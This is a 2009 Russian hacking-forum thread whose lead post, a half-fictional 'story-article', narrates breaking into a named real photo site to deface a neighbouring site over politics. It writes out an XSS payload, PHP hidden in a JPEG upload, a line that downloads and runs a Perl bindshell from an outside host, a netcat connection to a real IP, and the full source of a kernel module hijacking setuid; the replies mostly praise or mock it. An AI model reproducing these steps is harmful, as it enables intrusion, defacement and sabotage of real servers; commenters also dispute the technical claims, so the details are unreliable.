Авторские статьи Story. Полночный взлом.

Discussion in 'Статьи' started by --StraNger--, 20 Aug 2009.

  1. --StraNger--

    --StraNger-- Member

    Joined:
    4 Jan 2009
    Messages:
    63
    Likes Received:
    57
    Reputations:
    5
    Story. Полночный взлом.​


    I N T R O или вступление.
    Салют, читатель! Вот сидел сейчас и думал: какую же все-таки статью лучше написать и пришла мне в голову идея написать "статью-рассказ". То есть наполовину художественный наполовину технический. В общем смотрите что получилось.


    B O D Y.​
    Горящие часы на скринсейвере показывали 12:10.
    Макс скучал.
    В сети почти не кого не было. Лениво просматривая новостную ленту секлаба он уже собирался выключать компьютер, но тут в онлайн вышел его хороший знакомый – kerny.

    С ним он познакомился довольно давно. Когда то они состояли в одной тиме, которая впоследствии распалась.

    Решив немного поболтать, Макс написал ему. Поговорив на отвлеченные темы, kerny кинул Максиму ссылку на один сайт - englishrussia.com, отправив при этом несколько ругательств в сторону его создателей.
    Пробежавшись по контенту, стало понятно, что смысловая нагрузка ресурса направлена на антироссийскую политику.
    Автор активно «обсирал» все, что касается России.
    Не сказать, что Макс был патриотом, но было обидно наблюдать, как его родину обливают грязью.
    Мысль тут же мелькнула в его голове:

    «а почему бы не…»

    Написав об этом kerny, Максим узнал что тот тоже об этом думал. Но на сайте стоял WordPress 2.7.1, а толковых сплоитов под него не было. Делать было нечего, а спать не хотелось, поэтому Макс решил копнуть глубже и посмотреть этот ресурс под более сильным зумом.
    ...
    Несмотря на отрытое окно в комнате было жарко. Сходив за газировкой Максим начал изучение сайта. Воспользовавшись инструментов madnet –a «Google madnet Scaner», он просканировал ресурс. Скрипт определил, что на сервере находится еще один сайт - pixdaus.com.
    Он представлял из себя что-то вроде хостинга для фотографий.

    «Угу, тут то можно найти дыру, для начала стоит поискать админку»

    Сразу проверив адреса ...


    Code:
    www.pixdaus.com/admin
    www.pixdaus.com/admin.php
    
    ...Макса ждало разочарование — «Ошибка 404», страниц не существовало.
    Тогда он попробовал найти админ-панель через Google:



    Code:
    site: pixdaus.com admin.
    
    К сожалению и это не помогло.
    Но беглый осмотр движка дал свои плоды.
    После обращения к адресу:


    Code:
    index.php?fun=66'&from=favourites
    
    Сайт выдавал кучу непонятной информации. Макс обрадовался, предвкушая «легкую скулю» но как выяснилось он ошибся. К sql инъекциям это отношение не имело. Сервер похоже выплевывал http заголовки входящего и еще кое-что непонятное.Вот кусок того, что увидел Максим:


    Code:
    HTTP_USER_AGENT=Mozilla/5.0 (Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.1) Gecko/2008072807 ASPLinux/3.0.1-1.0.140asp FirefHTTP_ACCEPT=text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8


    «Возможно здесь есть место xss»

    Открыв плагин «LiveHTTPHeaders», Макс изменил заголовок. Он ввел в поле HTTP_USER_AGENTнебольшой скрипт:

    Code:
    HTTP_USER_AGENT: <script>alert(/fuke in/)</script>
    В ответ на это он увидел сообщение с текстом «/fukein/»

    «Такс... уже кое-что, но с такой xss мало что реализуешь»

    Поизучав еще немного те данные, которые выплюнул сервер, взломщик обнаружил интересную фичу:

    Code:
    .utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=site:pixdaus.com admin
    «Это ведь тот запрос, который я отдавал в гугл! Может удастся получить активку?»

    Улыбнувшись, Макс вбил в Google такой запрос



    site: pixdaus.com document <script>alert(/fuke in/)</script>

    Но результат был нулевым.
    Поисковик не мог найти на сайте все содержимое запроса.

    «Значит нужно кое-что урезать»

    Немного помозговав, Максим сделал так:


    Code:
    site:pixdaus.com document -"script>alert(/fuke in/)</script>"
    Зайдя по одной из ссылок, он вернулся к странице с уязвимостью.
    Обновив, ее он увидел знакомое сообщение.

    «Ну что ж, активная xss уже неплохо, но оставим это на крайний случай».

    Погуляв по страницам сайта, Макс нашел форму для регистрации.
    Создав новый аккаунт, взломщик заметил, что есть возможность заливать фотографии на сервер.

    «Хм… а что если возможно выполнить php код?»


    Записав в файл небольшой скрипт, Максим переименовал его так:


    Code:
    photo.php.jpg
    Но смена расширение не дала результатов.
    Макс хотел уже оставить идею с картинкой, но решил попробовать еще один способ.
    Открыв картинку в программе WinHex и перейдя в конец файла, он нашел значения «FF D9» и затер их нулями. После этого он вставил свой php код в конец файла в формате ascii. А значения FF D9 добавил после кода.


    «Ну что ж попробуем»

    Загрузив фотографию, Макс был приятно удивлен. Код в jpg картинке работал.
    ...
    Откинувшись на спинку кресла, Максим закрыл глаза ладонями.
    Он всегда так делал после наряженной работы.

    «Пора что-нибудь поесть и отдохнуть заодно»

    Резко встав с кресла, Макс отправился на кухню.
    Кот сидевший рядом тут же рванул за ним, надеясь что хозяин поделится с ним.

    Пока кипел чайник, Максим сделал себе бутерброд с сыром, дав кусочек коту.

    Последнее время жизнь складывалась не лучшим образом. Все друзья и знакомые отворачивались от него. Хотя нет… У него были друзья, но только в сети.
    Только их он считал настоящими друзьями.
    Один институтский товарищ как-то сказал ему:

    «Со своими компьютерами ты когда-нибудь до суицида доиграешься»

    Максим не принимал эти слова всерьез… или просто не хотел принимать.
    С каждым днем он все глубже и глубже погружался в виртуальный мир.
    Забывая при этом реальный. Последние 4 месяца Макс редко выходил из квартиры…. Если выходил, то только купить пачку чая и какой-нибудь полуфабрикат.



    «Ладно, хватит. Завтра схожу в парк, прогуляюсь» - подумал он, прогоняя тревожные мысли.


    В этот момент чайник пикнул, информируя о том, что вода вскипела.
    Максим распечатал пачку зеленого чая и насыпал заварку в кружку.
    Он страдал гипертонией, и врачи рекомендовали пить зеленый чай для нормализации давления.
    Прихватив бутерброд, Макс отправился в свою комнату. На экране уже появился скринсейвер с горящими часами. Они показывали 12:59.
    За окном слышались гогот пьяной молодежи.

    «Бля, им обязательно бухать около моего дома?»

    Дожевывая бутерброд, Максим нажал пару раз на Enter, избавляясь от заставки.
    ...
    Включив своего любимого «Карандаша» он подумал:

    «Итак, у нас есть возможность выполнять php код, теперь стоит залить биндшелл на сервер, для более удобной работы»

    Открыв картинку еще раз Макс дописал такой код:



    Code:
    <? system (‘cd /tmp; wget http://stanger.hr/bind.pl;chmod 755 bind.pl; perl bind.pl ‘);?>
    


    Это должно было загрузить и запустить bindshell на Perl.
    Запустив консоль, Максим набрал:




    Code:
    nc 66.90.103.79 21656
    И скрестив пальцы, стал ждать. Была опасность, что файрвол будет резать подключения и придется делать бэкконнект. Но к счастью подключение произошло удачно. У Макса был shell доступ.

    Первым делом команда who...



    Code:
    [STR]$ who
      FraCrEx :0          2009-07-02 1.05
    
    ...показала что мы одни в системе.


    «Отлично, теперь можно не торопиться, интересно какие у нас права»



    Code:
    [STR]$ id
      uid=10(FraCrEx) gid=10(FraCrEx) группы=10FraCrEx) context=unconfined_u:system_r:hotplug_t:s0-s0:c0.c1023
    На счастье uname показала, что на сервере крутилась Linux 2.6.30.

    Под него был недавно написан сплоит который можно найти здесь
    Залив исходник на сервер Макс попытался его скомпилировать.



    Code:
    [STR]$gcc –sploit sploit.c
    Code:
    
    Но компилятор упорно не хотел собирать программу.
    Под него был недавно написан сплоит который можно найти
    
    Открыв код, взломщик нашел то, что мешало компиляции.
    Во-первых, в условии была синтаксическая ошибка:
    
    
    
    [CODE]If(result=NULL)
      {action}
    Во вторых, главная функция не принимало аргументов, хотя в ходе эксплоита они использовались.

    К тому же в начале кода присутствовала такая строка:



    System("rm –fr *")

    «Очевидно, разработчик хотел отпугнуть скрипт-кидди»

    После исправления ошибок, эксплоит успешно скомпилировался и Макс получил Root.
    Увлекшись взломом, он забыл о главной цели – сайт с антироссийским содержанием.

    «Теперь можно устроить маленькую месть»

    Найдя на сервере нужные файлы, взломщик повесил простенький дефейс

    Можно было потереть всю базу сайта, но Максим отказался от этой идеи.

    «Хм... админа так и нет. Как бы еще напакостить…?»

    Тут Максу пришла одна идея.



    «Что если подшутить над админом?
    Пусть root пользователь сможет войти только с правами nobody, а все остальные наоборот – root»


    Для этого нужно было подключить к ядру модуль с нужным кодом.

    Порывшись у себя в файлах, Макс нашел исходник, который реализует весь прикол:


    Code:
      #define __KERNEL__
      #define MODULE
       
      #include <linux/config.h>
      #include <linux/module.h>
      #include <linux/version.h>
      #include <sys/syscall.h>
      #include <linux/sched.h>
      #include <linux/types.h>
      extern void *sys_call_table[]; 
      int (*orig_setuid)(uid_t);
      int change_setuid(uid_t uid)
      {
        switch (uid)
        {
          case 0:
            current->uid = 99;  /
            current->euid = 99; 
            current->gid = 99;  
            current->egid = 99; 
            break;
          default:
            current->uid = 0;   
            current->euid = 0;  
            current->gid = 0;  
            current->egid = 0;
            break;
        }
        return 0;  
      }
      int init_module(void)
      {
         orig_setuid = sys_call_table[__NR_setuid32];
         sys_call_table[__NR_setuid32] = change_setuid;
         return 0;  
      }
      void cleanup_module(void)
      {
         sys_call_table[__NR_setuid32] = orig_setuid; 
      }
    Скомпилировал его:


    Code:
    [STR]$ gcc -o code.o -c code.c
    Далее скопировал в каталог /lib/midules
    Код:

    cp code.o /lib/modules

    И загрузил в ядро


    Code:
    insmod code.o


    «Пусть админ побесится»

    Закрыв окно терминала, Максим устало взглянул на часы.

    Было 2:23.
    Отправив kerny в оффлайн сообщение об удачном дефейсе, он выключил компьютер.
    Можно было идти спать.
    Спихнув с софы кота, Макс упал на подушку и заснул.

    O U T R O или послесловие.
    В этом рассказе я позволил себе маленький эксперимент. Я взял что-то из реальности, что то сам выдумал и на основе этого составил весь текст. В любом случае, приведенные в рассказе уязвимости встречались мне реально.
    Кстати, дело в том, что у меня нет даже среднего образования, так что прошу прощения за мою некрасивую речь.
    Ну, вот и все. Жду комментариев и жесткой критики.
    Ps Кота звали «Степа»

    ©StraNgeR from GR-TEAM
     
    #1 --StraNger--, 20 Aug 2009
    Last edited: 22 Aug 2009
  2. .Varius

    .Varius Elder - Старейшина

    Joined:
    5 May 2009
    Messages:
    558
    Likes Received:
    289
    Reputations:
    42
    Статья понравилась, было интересно прочитать с начала и до конца, хоть и детективы редко читаю

    А почему "Чужие статьи"?

     
  3. =Zeus=

    =Zeus= Member

    Joined:
    10 Aug 2009
    Messages:
    213
    Likes Received:
    54
    Reputations:
    5
    Статья очень понравилась, но где на сайте http://www.pixdaus.com/ антироссийское содержание? Или ты просто для примера его взял?

    А там где скрипт в картитку дописывать, у меня почему-то не выдает сообщение даже на моем компе, пробовал на всех браузерах, хотя открывается, все норм.
     
    #3 =Zeus=, 20 Aug 2009
    Last edited: 20 Aug 2009
  4. Kakoytoxaker

    Kakoytoxaker Elder - Старейшина

    Joined:
    18 Feb 2008
    Messages:
    1,038
    Likes Received:
    1,139
    Reputations:
    350
    Да и админ сервера тоже не против хорошенько обдолбаться
     
    3 people like this.
  5. flacs

    flacs Member

    Joined:
    28 Jan 2009
    Messages:
    81
    Likes Received:
    31
    Reputations:
    6
    есть "нить", постепенно ведущая к желаемой цели, интересно читать, захватывает...
     
  6. Flair

    Flair Member

    Joined:
    7 May 2009
    Messages:
    36
    Likes Received:
    13
    Reputations:
    9
    жоско

    Над было фсе барасать и бежать к ним
     
  7. Drag_on

    Drag_on Member

    Joined:
    6 Nov 2008
    Messages:
    25
    Likes Received:
    16
    Reputations:
    6
    кажется это уже где-то было....могу ошибаться может тс правил статью
     
  8. m0nsieur

    m0nsieur Elder - Старейшина

    Joined:
    8 Apr 2008
    Messages:
    223
    Likes Received:
    69
    Reputations:
    10
    Как-то утопично, в плане того что он сидит дома, у него нет друзей кроме виртуальных, как кто-то заметил похоже на - ][... Хотя возможно прием такой, чтобы создать ощущение одинокого хакера, романтика...
     
  9. Suicide

    Suicide Super Moderator
    Staff Member

    Joined:
    24 Apr 2009
    Messages:
    2,482
    Likes Received:
    7,063
    Reputations:
    693
    Ух ты, хорошая (а главное необычная) манера изложения, было интересно почитать.
     
    _________________________
  10. gisTy

    gisTy Elder - Старейшина

    Joined:
    24 May 2008
    Messages:
    432
    Likes Received:
    160
    Reputations:
    27
    в ксакепе почти все статьи про взлом такие :(
     
  11. edge911

    edge911 Active Member

    Joined:
    21 Feb 2009
    Messages:
    105
    Likes Received:
    142
    Reputations:
    15
    найти здесь? тут должна бфыла быть какая то ссылка?) или мне чо показалось))


    -----
    p.s статья понравилась =)
     
  12. --StraNger--

    --StraNger-- Member

    Joined:
    4 Jan 2009
    Messages:
    63
    Likes Received:
    57
    Reputations:
    5
    угу. щаз подправлю
     
  13. Kakoytoxaker

    Kakoytoxaker Elder - Старейшина

    Joined:
    18 Feb 2008
    Messages:
    1,038
    Likes Received:
    1,139
    Reputations:
    350
    Дорогой ТС

    Довожу до Вашего сведения, что если по материалам вашего фантастического творчества у новичков будут возникать вопросы, со ссылками на этот шедевр, приготовьтесь сами на них отвечать, т.к. лично я не смогу объяснить людям, как так получается, что у некоторых в .jpg файлах исполняется php код, (как впрочем и многое другое) и об этом написано у нас в статьях.

    Я конечно понимаю, что этот материал вы просто скопировали, но так как статья висит, и автор Вы, приготовьтесь нести за неё ответственность
     
    3 people like this.
  14. .Slip

    .Slip Elder - Старейшина

    Joined:
    16 Jan 2006
    Messages:
    1,571
    Likes Received:
    977
    Reputations:
    783
    --StraNger--, бросай психоделики, пошли мутного разбодяжим и пустим по вене.

    ЗЫ Техническая часть просто пиздец. Да и литературная не особо то, Макс мог бы там в процессе показать какой нибудь тёлке что он делает и перепихнуться там вместе с котом и бутербродом, или кинуть кота обмазанного кетчупом на тех кто под окном бухает, больше фантазии в произведениях!
     
    3 people like this.
  15. =Zeus=

    =Zeus= Member

    Joined:
    10 Aug 2009
    Messages:
    213
    Likes Received:
    54
    Reputations:
    5
    А, тоесть я не полный нуб )))
    А то думаю, вот хакер-то крутой, в картинку скрипт вмонтировал. Я блин уже 2-й день хожу с мыслями как бы это в вирусных целях прромутить, но все в голове как-то не укладывается, что картинка может быть не картинка. ))))
    Фух, спасибо, что просветили, а то так бы и ходил в заблуждении.
     
  16. RekRut

    RekRut Elder - Старейшина

    Joined:
    27 Feb 2006
    Messages:
    116
    Likes Received:
    26
    Reputations:
    0
    статья как будто про меня написана, все аналогично по ночам народ под окнами бухает, сам сижу обычно до 5-6 утра за компом, на улицу хрен знает когда выхожу, кароче статья прикольная, только тех материал в след. раз желательно поподробнее расписывать, а то как то быстро все прочиталось 8)
     
  17. gisTy

    gisTy Elder - Старейшина

    Joined:
    24 May 2008
    Messages:
    432
    Likes Received:
    160
    Reputations:
    27
    вобщем среднестатистический задрот...
     
  18. .Varius

    .Varius Elder - Старейшина

    Joined:
    5 May 2009
    Messages:
    558
    Likes Received:
    289
    Reputations:
    42
    Среднестатистический человек сильно отданный делу.
     
  19. --StraNger--

    --StraNger-- Member

    Joined:
    4 Jan 2009
    Messages:
    63
    Likes Received:
    57
    Reputations:
    5
    это смотря с какой стороны смотреть.
    если человек сидит целыми днями и дрочит на монитор, ясно что задрот.
    А если, как сказано ниже занимается делом, это совсем другое
     
    1 person likes this.
  20. Ctacok

    Ctacok Banned

    Joined:
    19 Dec 2008
    Messages:
    732
    Likes Received:
    646
    Reputations:
    251
    Больше понравилось что у него нет друзей и т.п.
    Художественная вставка, а не технически детальная.